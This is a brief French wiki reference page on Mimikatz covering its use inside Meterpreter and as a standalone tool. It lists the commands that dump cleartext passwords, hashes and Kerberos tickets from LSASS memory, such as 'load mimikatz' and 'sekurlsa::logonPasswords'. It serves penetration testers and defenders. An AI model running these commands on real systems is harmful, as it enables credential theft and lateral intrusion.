Mimikatz
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Extraction de secrets (mots de passe / hash) |
| Auteur | Benjamin Delpy (gentilkiwi) |
| Contexte | Metasploit / Meterpreter |
| Voir aussi | Meterpreter · Incognito |
Mimikatz extrait mots de passe en clair, empreintes et tickets Kerberos depuis la mémoire du processus LSASS. Il est intégré à Meterpreter et disponible aussi en exécutable autonome.
Voir PTH-PassTheHash.
Mimikatz — mots de passe en clair
L'extension nécessite les droits SYSTEM :
meterpreter> getuid
# NT AUTHORITY\SYSTEM
load mimikatz
De nouvelles commandes permettent la recherche par type de secret :
msv # empreintes / mots de passe
kerberos # tickets kerberos
wdigest
livessp
Mimikatz autonome
mimikatz
sekurlsa::logonPasswords
- http://blog.gentilkiwi.com/mimikatz
- https://github.com/gentilkiwi/mimikatz/releases/tag/2.1.1-20181209